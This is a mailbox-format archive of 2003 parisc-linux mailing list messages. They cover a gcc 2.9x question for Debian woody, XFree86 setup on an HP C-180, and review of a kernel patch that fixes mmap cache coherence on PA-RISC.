aGVsbG8uDQpNeSBuYW1lIGlzIEJ5b3VuZyBDaGFuIEtpbSB3b3JrZWQgZm9yIEJhY2t1cCBTL1cg
ZGV2ZWxvcG1lbnQgY29tcGFueS4NCkkgdXNlIERlYmlhbiAzLjByMSh3b29keSkgb24gSFAgQjEz
MmwgUEFSSVNDLg0KRGViaWFuIGZvciBwYXJpc2MgdXNlZCBnY2MgMy4wLjQgZGVmYXVsdCwgYnV0
IEkgd2FudCB0byBnY2MyLjkueCBvbiBkZWJpYW4gd29vZHkuDQpJIGhhdmUgdHdvIHF1ZXN0aW9u
Lg0KMS4gY2FuIGkgdXNlIGdjYyAyLjkueCBvbiBkZWJpYW4gMy4wcjEod29vZHkpPw0KMi4gaG93
IGRvIGkgaW5zdGFsbCBnY2MgMi45Lnggb24gZGViaWFuIDMuMHIxKHdvb2R5KSBmb3IgUEFSSVND
Pw0KSSBob3BlIHlvdXIgaGVscCAuDQoNCi0tIEJ5b3VuZyBDaGFuIEtpbSAgLS0NCg==

------=_NextPart_000_0005_01C2E32B.788583B0
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgaHR0cC1lcXVpdj1Db250ZW50LVR5cGUgY29udGVu
dD0idGV4dC9odG1sOyBjaGFyc2V0PWtzX2NfNTYwMS0xOTg3Ij4NCjxNRVRBIGNvbnRlbnQ9Ik1T
SFRNTCA2LjAwLjI4MDAuMTE0MSIgbmFtZT1HRU5FUkFUT1I+DQo8U1RZTEU+PC9TVFlMRT4NCjwv
SEVBRD4NCjxCT0RZIGJnQ29sb3I9I2ZmZmZmZj4NCjxESVY+PEZPTlQgc2l6ZT0yPmhlbGxvLjwv
Rk9OVD48L0RJVj4NCjxESVY+PEZPTlQgc2l6ZT0yPk15IG5hbWUgaXMgQnlvdW5nIENoYW4gS2lt
IHdvcmtlZCBmb3IgQmFja3VwIFMvVyBkZXZlbG9wbWVudCANCmNvbXBhbnkuPC9GT05UPjwvRElW
Pg0KPERJVj48Rk9OVCBzaXplPTI+SSB1c2UgRGViaWFuIDMuMHIxKHdvb2R5KSBvbiBIUCBCMTMy
bCBQQVJJU0MuPC9GT05UPjwvRElWPg0KPERJVj48Rk9OVCBzaXplPTI+RGViaWFuIGZvciBwYXJp
c2MgdXNlZCBnY2MgMy4wLjQgZGVmYXVsdCwgYnV0IEkgd2FudCB0byANCmdjYzIuOS54IG9uIGRl
YmlhbiB3b29keS48L0ZPTlQ+PC9ESVY+DQo8RElWPjxGT05UIHNpemU9Mj5JIGhhdmUgdHdvIHF1
ZXN0aW9uLjwvRk9OVD48L0RJVj4NCjxESVY+PEZPTlQgc2l6ZT0yPjEuIGNhbiBpIHVzZSBnY2Mg
Mi45Lnggb24gZGViaWFuIDMuMHIxKHdvb2R5KT88L0ZPTlQ+PC9ESVY+DQo8RElWPjxGT05UIHNp
emU9Mj4yLiBob3cgZG8gaSBpbnN0YWxsIGdjYyAyLjkueCBvbiBkZWJpYW4gMy4wcjEod29vZHkp
IGZvciANClBBUklTQz88L0ZPTlQ+PC9ESVY+DQo8RElWPjxGT05UIHNpemU9Mj5JIGhvcGUgeW91
ciBoZWxwIC48L0ZPTlQ+PC9ESVY+DQo8RElWPjxGT05UIHNpemU9Mj48L0ZPTlQ+Jm5ic3A7PC9E
SVY+DQo8RElWPjxGT05UIHNpemU9Mj4tLSBCeW91bmcgQ2hhbiBLaW0mbmJzcDsgLS08L0ZPTlQ+
PC9ESVY+DQo8RElWPjxGT05UIHNpemU9Mj48L0ZPTlQ+Jm5ic3A7PC9ESVY+PC9CT0RZPjwvSFRN
TD4NCg==

------=_NextPart_000_0005_01C2E32B.788583B0--



From - Thu Nov 08 21:26:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] I want to use gcc2.9x on Debian 3,0 woody for HP-PARISC
Date: Tue, 4 Mar 2003 22:24:48 -0800
Lines: 11
Approved: news@gmane.org
Message-ID: <20030305062448.GR11363@tausq.org>
References: <000801c2e2e0$09320560$a9eab7d2@kbc>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622256 22550 80.91.229.3 (22 Nov 2014 02:10:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kim Byoung Chan <kimbc@becsolutions.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  4 23:28:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BFDD4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Mar 2003 23:28:44 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E4988CD294; Tue,  4 Mar 2003 22:24:48 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <000801c2e2e0$09320560$a9eab7d2@kbc>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17842

> 1. can i use gcc 2.9.x on debian 3.0r1(woody)?
> 2. how do i install gcc 2.9.x on debian 3.0r1(woody) for PARISC?

there is no 2.9x compilers for hppa-linux

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rod Smart <snaketails@optushome.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Setting up Xfree86
Date: Thu, 06 Mar 2003 05:29:44 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <3E66DCC8.24EC9CDA@optushome.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622257 22551 80.91.229.3 (22 Nov 2014 02:10:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:57 +0000 (UTC)
To: PARISC Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  5 15:51:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jumpgate.home.net.au (c16844.fernt1.vic.optusnet.com.au [210.49.203.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 129054829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Mar 2003 15:51:33 -0700 (MST)
Original-Received: from localhost (jumpgate.home.net.au [127.0.0.1])
	by jumpgate.home.net.au (Postfix) with ESMTP id ED5F862E53
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Mar 2003 09:51:29 +1100 (EST)
Original-Received: from optushome.com.au (shadow.home.net.au [192.168.3.130])
	by jumpgate.home.net.au (Postfix) with ESMTP id A086562E52
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Mar 2003 09:50:53 +1100 (EST)
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,Thai
X-Virus-Scanned: by AMaViS perl-11
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17843

    I have installed the Debian release onto my HP C-180, installed
without any problems, but I need to setup XFree, I cannot find the usual
configuration programs, even if I try (from memory)

xfree86 --config   (or is it --new)

    Well the option for configuring xfree86.

    I cannot find anything for configuring it.

    Please point me in the correct location.

    I can ssh into and out of the box without a problem, and networking
is happily running.

    I have 768Megs of RAM on board so this I doubt will be an isue.



From - Thu Nov 08 21:26:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Setting up Xfree86
Date: 05 Mar 2003 16:46:34 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <1046907993.996.3.camel@beavis.ybsoft.com>
References: <3E66DCC8.24EC9CDA@optushome.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622257 22554 80.91.229.3 (22 Nov 2014 02:10:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:57 +0000 (UTC)
Cc: PARISC Linux <parisc-linux@lists.parisc-linux.org>
To: Rod Smart <snaketails@optushome.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  5 16:46:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63A554829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Mar 2003 16:46:35 -0700 (MST)
Original-Received: from beavis.ybsoft.com (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 29FA52B101; Wed,  5 Mar 2003 16:46:34 -0700 (MST)
In-Reply-To: <3E66DCC8.24EC9CDA@optushome.com.au>
X-Mailer: Ximian Evolution 1.2.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17844

Rod,

A couple of simple questions:

Are you sure that the graphics card in the C180 is supported?

	you can verify this by running fbset -i as root on the box.

If you have a supported graphics card, then try the following command: 
	dpkg-reconfigure xserver-xfree86


The mailing list archives should have some info on this also.

Thanks,

- Ryan



On Wed, 2003-03-05 at 22:29, Rod Smart wrote:
>     I have installed the Debian release onto my HP C-180, installed
> without any problems, but I need to setup XFree, I cannot find the usual
> configuration programs, even if I try (from memory)
> 
> xfree86 --config   (or is it --new)
> 
>     Well the option for configuring xfree86.
> 
>     I cannot find anything for configuring it.
> 
>     Please point me in the correct location.
> 
>     I can ssh into and out of the box without a problem, and networking
> is happily running.
> 
>     I have 768Megs of RAM on board so this I doubt will be an isue.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
-- 
Ryan Bradetich <rbradetich@uswest.net>



From - Thu Nov 08 21:26:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RFC: mmap patch
Date: Wed, 5 Mar 2003 22:32:01 -0800
Lines: 95
Approved: news@gmane.org
Message-ID: <20030306063201.GW11363@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622257 22558 80.91.229.3 (22 Nov 2014 02:10:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  5 23:41:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5DA7B4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Mar 2003 23:41:17 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E073DCD294; Wed,  5 Mar 2003 22:32:01 -0800 (PST)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17845

Hi all,

Looking for some vm gurus to verify that this is correct. This fixes a
problem where the kernel-view of a page vs the user-view can get out of
sync because of the virtually tagged cache of PA. This fixes a bug
reported some time back where write(2)s to a mmaped fd doesn't get 
updated properly in the mmap'ed region.

Many thanks to willy for his advice in putting this together :)

This is tested on 2.5.64-pa1 on a500, but should also apply to 2.4.

Any comments before I apply?

randolph

Index: include/asm-parisc/cacheflush.h
===================================================================
RCS file: /var/cvs/linux-2.5/include/asm-parisc/cacheflush.h,v
retrieving revision 1.5
diff -u -p -r1.5 cacheflush.h
--- include/asm-parisc/cacheflush.h	6 Mar 2003 04:20:45 -0000	1.5
+++ include/asm-parisc/cacheflush.h	6 Mar 2003 06:35:41 -0000
@@ -67,13 +67,15 @@ flush_user_icache_range(unsigned long st
 #endif
 }
 
+extern void __flush_dcache_page(struct page *page);
+
 static inline void flush_dcache_page(struct page *page)
 {
 	if (page->mapping && list_empty(&page->mapping->i_mmap) &&
 			list_empty(&page->mapping->i_mmap_shared)) {
 		set_bit(PG_dcache_dirty, &page->flags);
 	} else {
-		flush_kernel_dcache_page(page_address(page));
+		__flush_dcache_page(page);
 	}
 }
 
Index: arch/parisc/kernel/cache.c
===================================================================
RCS file: /var/cvs/linux-2.5/arch/parisc/kernel/cache.c,v
retrieving revision 1.9
diff -u -p -r1.9 cache.c
--- arch/parisc/kernel/cache.c	5 Mar 2003 21:15:37 -0000	1.9
+++ arch/parisc/kernel/cache.c	6 Mar 2003 06:35:41 -0000
@@ -222,3 +222,42 @@ void disable_sr_hashing(void)
 
 	disable_sr_hashing_asm(srhash_type);
 }
+
+void __flush_dcache_page(struct page *page)
+{
+	struct mm_struct *mm = current->active_mm;
+	struct list_head *l;
+
+	flush_kernel_dcache_page(page_address(page));
+
+	if (!page->mapping)
+		return;
+
+	list_for_each(l, &page->mapping->i_mmap_shared) {
+		struct vm_area_struct *mpnt;
+		unsigned long off;
+
+		mpnt = list_entry(l, struct vm_area_struct, shared);
+
+		/*
+		 * If this VMA is not in our MM, we can ignore it.
+		 */
+		if (mpnt->vm_mm != mm)
+			continue;
+
+		if (page->index < mpnt->vm_pgoff)
+			continue;
+
+		off = page->index - mpnt->vm_pgoff;
+		if (off >= (mpnt->vm_end - mpnt->vm_start) >> PAGE_SHIFT)
+			continue;
+
+		flush_cache_page(mpnt, mpnt->vm_start + (off << PAGE_SHIFT));
+
+		/* All user shared mappings should be equivalently mapped,
+		 * so once we've flushed one we should be ok
+		 */
+		break;
+	}
+}
+
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: RFC: mmap patch
Date: Thu, 6 Mar 2003 07:14:53 -0700 (MST)
Lines: 113
Approved: news@gmane.org
Message-ID: <200303061414.HAA26321@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622258 22562 80.91.229.3 (22 Nov 2014 02:10:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:58 +0000 (UTC)
Cc: davem@redhat.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  6 07:14:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12DA44829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Mar 2003 07:14:55 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 5426C1C00056; Thu,  6 Mar 2003 09:14:54 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_25184)/8.9.3 SMKit7.01) id HAA26321;
	Thu, 6 Mar 2003 07:14:53 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17846

>
> Looking for some vm gurus to verify that this is correct. This fixes a
> problem where the kernel-view of a page vs the user-view can get out of
> sync because of the virtually tagged cache of PA. This fixes a bug
> reported some time back where write(2)s to a mmaped fd doesn't get
> updated properly in the mmap'ed region.
>
> Many thanks to willy for his advice in putting this together :)
>
> This is tested on 2.5.64-pa1 on a500, but should also apply to 2.4.
>
> Any comments before I apply?
>

In my opinion this patch is a hack workaround for a real bug. parisc is
not the only architecture that has virtual tagged caches.  Some mips
machines, sparc and ultrasparc machines have virtual tagged caches,
although none of them have virtual tagged caches as large as parisc (the
other architectures typically have a larger physical cache at a higher
level in the cache hierarchy).

Dave Miller designed the cache flushing strategy to have hooks in the
machine independent code to support virtual tagged caches.  Probably there
is simply a cache flush that is missing that doesn't show itself as a bug
as easily on the smaller virtually tagged caches of the other
architectures. At most this particular scenario wasn't considered
for virtual tagged caches (maintaining coherence between fd writes and
mmap'ed regions) and will require a design change to fix.

The fix for this bug should be made in machine independent code, not in
our machine dependent code.

John Marvin
jsm@fc.hp.com

P.S. I am cc'ing Dave Miller to see if he cares to comment.

> Index: include/asm-parisc/cacheflush.h
> ===================================================================
> RCS file: /var/cvs/linux-2.5/include/asm-parisc/cacheflush.h,v
> retrieving revision 1.5
> diff -u -p -r1.5 cacheflush.h
> --- include/asm-parisc/cacheflush.h     6 Mar 2003 04:20:45 -0000       1.5
> +++ include/asm-parisc/cacheflush.h     6 Mar 2003 06:35:41 -0000
> @@ -67,13 +67,15 @@ flush_user_icache_range(unsigned long st
>  #endif
>  }
>
> +extern void __flush_dcache_page(struct page *page);
> +
>  static inline void flush_dcache_page(struct page *page)
>  {
>         if (page->mapping && list_empty(&page->mapping->i_mmap) &&
>                         list_empty(&page->mapping->i_mmap_shared)) {
>                 set_bit(PG_dcache_dirty, &page->flags);
>         } else {
> -               flush_kernel_dcache_page(page_address(page));
> +               __flush_dcache_page(page);
>         }
>  }
>
> Index: arch/parisc/kernel/cache.c
> ===================================================================
> RCS file: /var/cvs/linux-2.5/arch/parisc/kernel/cache.c,v
> retrieving revision 1.9
> diff -u -p -r1.9 cache.c
> --- arch/parisc/kernel/cache.c  5 Mar 2003 21:15:37 -0000       1.9
> +++ arch/parisc/kernel/cache.c  6 Mar 2003 06:35:41 -0000
> @@ -222,3 +222,42 @@ void disable_sr_hashing(void)
>
>         disable_sr_hashing_asm(srhash_type);
>  }
> +
> +void __flush_dcache_page(struct page *page)
> +{
> +       struct mm_struct *mm = current->active_mm;
> +       struct list_head *l;
> +
> +       flush_kernel_dcache_page(page_address(page));
> +
> +       if (!page->mapping)
> +               return;
> +
> +       list_for_each(l, &page->mapping->i_mmap_shared) {
> +               struct vm_area_struct *mpnt;
> +               unsigned long off;
> +
> +               mpnt = list_entry(l, struct vm_area_struct, shared);
> +
> +               /*
> +                * If this VMA is not in our MM, we can ignore it.
> +                */
> +               if (mpnt->vm_mm != mm)
> +                       continue;
> +
> +               if (page->index < mpnt->vm_pgoff)
> +                       continue;
> +
> +               off = page->index - mpnt->vm_pgoff;
> +               if (off >= (mpnt->vm_end - mpnt->vm_start) >> PAGE_SHIFT)
> +                       continue;
> +
> +               flush_cache_page(mpnt, mpnt->vm_start + (off << PAGE_SHIFT));
> +
> +               /* All user shared mappings should be equivalently mapped,
> +                * so once we've flushed one we should be ok
> +                */
> +               break;
> +       }
> +}
> +
>


From - Thu Nov 08 21:26:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Thu, 6 Mar 2003 14:31:49 +0000
Lines: 57
Approved: news@gmane.org
Message-ID: <20030306143149.B1549@parcelfarce.linux.theplanet.co.uk>
References: <200303061414.HAA26321@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622258 22565 80.91.229.3 (22 Nov 2014 02:10:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, davem@redhat.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  6 07:31:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC4524829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Mar 2003 07:31:50 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18qwPV-00076F-00; Thu, 06 Mar 2003 14:31:49 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200303061414.HAA26321@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Thu, Mar 06, 2003 at 07:14:53AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17847

On Thu, Mar 06, 2003 at 07:14:53AM -0700, John Marvin wrote:
> In my opinion this patch is a hack workaround for a real bug. parisc is
> not the only architecture that has virtual tagged caches.  Some mips
> machines, sparc and ultrasparc machines have virtual tagged caches,
> although none of them have virtual tagged caches as large as parisc (the
> other architectures typically have a larger physical cache at a higher
> level in the cache hierarchy).
> 
> Dave Miller designed the cache flushing strategy to have hooks in the
> machine independent code to support virtual tagged caches.  Probably there
> is simply a cache flush that is missing that doesn't show itself as a bug
> as easily on the smaller virtually tagged caches of the other
> architectures. At most this particular scenario wasn't considered
> for virtual tagged caches (maintaining coherence between fd writes and
> mmap'ed regions) and will require a design change to fix.
> 
> The fix for this bug should be made in machine independent code, not in
> our machine dependent code.

Unfortunately, the flush is in the right place according to the
definition.  Here's how it looks in 2.4 (2.5 is more complex but has
essentially the same flush in it):

generic_file_write(struct file *file,const char *buf,size_t count, loff_t *ppos)
{
[...]
                kaddr = kmap(page);
                status = mapping->a_ops->prepare_write(file, page, offset, offse
t+bytes);
                if (status)
                        goto sync_failure;
                page_fault = __copy_from_user(kaddr+offset, buf, bytes);
                flush_dcache_page(page);
                status = mapping->a_ops->commit_write(file, page, offset, offset
+bytes);

So our flush_dcache_page() flushes the kernel's view of that page,
no problem.  Memory now has the right contents.  But the dcache still
has the stale data in it for the user's mapping of the same page.

There's a few ways to fix it.

1) This patch tausq did.  Now we flush both user & kernel mappings for the
data.

2) Split flush_dcache_page into flush_dcache_page_user_mapping() and
flush_dcache_page_kernel_mapping().  Hopefully with better names.

3) (ab)use kmap to hand back an address which virtually aliases the user
mapping.  flush_dcache_page() would only have to writeback to memory if
the page was not mapped.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Thu, 6 Mar 2003 07:31:09 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20030306153108.GA11751@tausq.org>
